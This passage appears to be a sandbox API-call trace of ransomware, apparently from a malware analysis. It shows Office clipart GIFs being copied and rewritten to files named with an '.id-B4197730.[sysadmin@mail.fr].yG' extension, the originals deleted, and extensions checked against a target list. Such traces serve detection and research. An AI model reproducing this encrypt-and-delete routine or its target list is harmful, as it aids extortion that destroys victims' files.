	[0051.622] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.622] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0051.623] GetLastError () returned 0x0
	[0051.623] ReadFile (in: hFile=0x394, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x1e06, lpOverlapped=0x0) returned 1
	[0051.632] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1e10, lpOverlapped=0x0) returned 1
	[0051.651] ReadFile (in: hFile=0x394, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.652] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0051.652] SetEndOfFile (hFile=0x2e0) returned 1
	[0051.652] CloseHandle (hObject=0x2e0) returned 1
	[0051.653] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.653] SetEndOfFile (hFile=0x394) returned 1
	[0051.654] CloseHandle (hObject=0x394) returned 1
	[0051.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0051.654] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 1
	[0051.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0051.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0051.654] lstrlenW (lpString=".doc") returned 4
	[0051.654] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.654] lstrlenW (lpString=".docx") returned 5
	[0051.654] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.654] lstrlenW (lpString=".pdf") returned 4
	[0051.654] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.655] lstrlenW (lpString=".xls") returned 4
	[0051.655] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.655] lstrlenW (lpString=".xlsx") returned 5
	[0051.655] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.655] lstrlenW (lpString=".ppt") returned 4
	[0051.655] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0051.655] lstrlenW (lpString=".zip") returned 4
	[0051.655] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.655] lstrlenW (lpString=".rar") returned 4
	[0051.655] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.655] lstrlenW (lpString=".bz2") returned 4
	[0051.655] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.655] lstrlenW (lpString=".7z") returned 3
	[0051.655] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0051.655] lstrlenW (lpString=".dbf") returned 4
	[0051.655] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0051.655] lstrlenW (lpString=".1cd") returned 4
	[0051.655] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0051.655] lstrlenW (lpString=".jpg") returned 4
	[0051.655] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0051.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0051.655] lstrlenW (lpString=".doc") returned 4
	[0051.655] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.655] lstrlenW (lpString=".docx") returned 5
	[0051.655] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.655] lstrlenW (lpString=".pdf") returned 4
	[0051.655] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.655] lstrlenW (lpString=".xls") returned 4
	[0051.655] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.655] lstrlenW (lpString=".xlsx") returned 5
	[0051.655] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.656] lstrlenW (lpString=".ppt") returned 4
	[0051.656] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0051.656] lstrlenW (lpString=".zip") returned 4
	[0051.656] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.656] lstrlenW (lpString=".rar") returned 4
	[0051.656] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.656] lstrlenW (lpString=".bz2") returned 4
	[0051.656] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.656] lstrlenW (lpString=".7z") returned 3
	[0051.656] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0051.656] lstrlenW (lpString=".dbf") returned 4
	[0051.656] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0051.656] lstrlenW (lpString=".1cd") returned 4
	[0051.656] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0051.656] lstrlenW (lpString=".jpg") returned 4
	[0051.656] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.656] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0051.656] lstrlenW (lpString="AG00092_.GIF") returned 12
	[0051.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0051.657] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=502) returned 1
	[0051.657] CloseHandle (hObject=0x2e0) returned 1
	[0051.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 0x220
	[0051.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0051.660] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.660] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0051.660] GetLastError () returned 0x0
	[0051.660] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x1f6, lpOverlapped=0x0) returned 1
	[0051.661] WriteFile (in: hFile=0x34c, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x200, lpOverlapped=0x0) returned 1
	[0051.662] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.662] WriteFile (in: hFile=0x34c, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0051.671] SetEndOfFile (hFile=0x34c) returned 1
	[0051.671] CloseHandle (hObject=0x34c) returned 1
	[0051.672] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.672] SetEndOfFile (hFile=0x2e4) returned 1
	[0051.673] CloseHandle (hObject=0x2e4) returned 1
	[0051.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0051.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 1
	[0051.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0051.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0051.673] lstrlenW (lpString=".doc") returned 4
	[0051.673] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.673] lstrlenW (lpString=".docx") returned 5
	[0051.673] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.673] lstrlenW (lpString=".pdf") returned 4
	[0051.673] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.673] lstrlenW (lpString=".xls") returned 4
	[0051.674] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.674] lstrlenW (lpString=".xlsx") returned 5
	[0051.674] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.674] lstrlenW (lpString=".ppt") returned 4
	[0051.674] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0051.674] lstrlenW (lpString=".zip") returned 4
	[0051.674] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.674] lstrlenW (lpString=".rar") returned 4
	[0051.674] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.674] lstrlenW (lpString=".bz2") returned 4
	[0051.674] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.674] lstrlenW (lpString=".7z") returned 3
	[0051.674] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0051.674] lstrlenW (lpString=".dbf") returned 4
	[0051.674] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0051.674] lstrlenW (lpString=".1cd") returned 4
	[0051.674] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0051.674] lstrlenW (lpString=".jpg") returned 4
	[0051.674] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0051.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0051.674] lstrlenW (lpString=".doc") returned 4
	[0051.674] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.674] lstrlenW (lpString=".docx") returned 5
	[0051.674] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.674] lstrlenW (lpString=".pdf") returned 4
	[0051.674] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.674] lstrlenW (lpString=".xls") returned 4
	[0051.674] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.674] lstrlenW (lpString=".xlsx") returned 5
	[0051.674] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.674] lstrlenW (lpString=".ppt") returned 4
	[0051.675] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0051.675] lstrlenW (lpString=".zip") returned 4
	[0051.675] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.675] lstrlenW (lpString=".rar") returned 4
	[0051.675] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.675] lstrlenW (lpString=".bz2") returned 4
	[0051.675] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.675] lstrlenW (lpString=".7z") returned 3
	[0051.675] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0051.675] lstrlenW (lpString=".dbf") returned 4
	[0051.675] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0051.675] lstrlenW (lpString=".1cd") returned 4
	[0051.675] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0051.675] lstrlenW (lpString=".jpg") returned 4
	[0051.675] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.675] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0051.675] lstrlenW (lpString="AG00120_.GIF") returned 12
	[0051.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0051.675] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=3484) returned 1
	[0051.675] CloseHandle (hObject=0x2e4) returned 1
	[0051.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 0x220
	[0051.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0051.677] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.677] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0051.678] GetLastError () returned 0x0
	[0051.678] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0xd9c, lpOverlapped=0x0) returned 1
	[0051.690] WriteFile (in: hFile=0x34c, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xda0, lpOverlapped=0x0) returned 1
	[0051.691] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.691] WriteFile (in: hFile=0x34c, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0051.691] SetEndOfFile (hFile=0x34c) returned 1
	[0051.691] CloseHandle (hObject=0x34c) returned 1
	[0051.692] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.692] SetEndOfFile (hFile=0x2e4) returned 1
	[0051.693] CloseHandle (hObject=0x2e4) returned 1
	[0051.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0051.693] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 1
	[0051.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0051.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0051.694] lstrlenW (lpString=".doc") returned 4
	[0051.694] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.694] lstrlenW (lpString=".docx") returned 5
	[0051.694] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.694] lstrlenW (lpString=".pdf") returned 4
	[0051.694] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.694] lstrlenW (lpString=".xls") returned 4
	[0051.694] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.694] lstrlenW (lpString=".xlsx") returned 5
	[0051.694] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.694] lstrlenW (lpString=".ppt") returned 4
	[0051.694] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0051.694] lstrlenW (lpString=".zip") returned 4
	[0051.694] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.694] lstrlenW (lpString=".rar") returned 4
	[0051.694] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.694] lstrlenW (lpString=".bz2") returned 4
	[0051.694] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.694] lstrlenW (lpString=".7z") returned 3
	[0051.694] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0051.694] lstrlenW (lpString=".dbf") returned 4
	[0051.694] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0051.695] lstrlenW (lpString=".1cd") returned 4
	[0051.695] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0051.695] lstrlenW (lpString=".jpg") returned 4
	[0051.695] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0051.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0051.695] lstrlenW (lpString=".doc") returned 4
	[0051.695] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.695] lstrlenW (lpString=".docx") returned 5
	[0051.695] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.695] lstrlenW (lpString=".pdf") returned 4
	[0051.695] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.695] lstrlenW (lpString=".xls") returned 4
	[0051.695] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.695] lstrlenW (lpString=".xlsx") returned 5
	[0051.695] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.695] lstrlenW (lpString=".ppt") returned 4
	[0051.695] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0051.695] lstrlenW (lpString=".zip") returned 4
	[0051.695] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.695] lstrlenW (lpString=".rar") returned 4
	[0051.695] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.695] lstrlenW (lpString=".bz2") returned 4
	[0051.695] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.695] lstrlenW (lpString=".7z") returned 3
	[0051.695] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0051.695] lstrlenW (lpString=".dbf") returned 4
	[0051.695] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0051.695] lstrlenW (lpString=".1cd") returned 4
	[0051.695] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0051.695] lstrlenW (lpString=".jpg") returned 4
	[0051.696] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.696] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0051.696] lstrlenW (lpString="AG00126_.GIF") returned 12
	[0051.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0051.696] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=3140) returned 1
	[0051.696] CloseHandle (hObject=0x2e4) returned 1
	[0051.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 0x220
	[0051.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
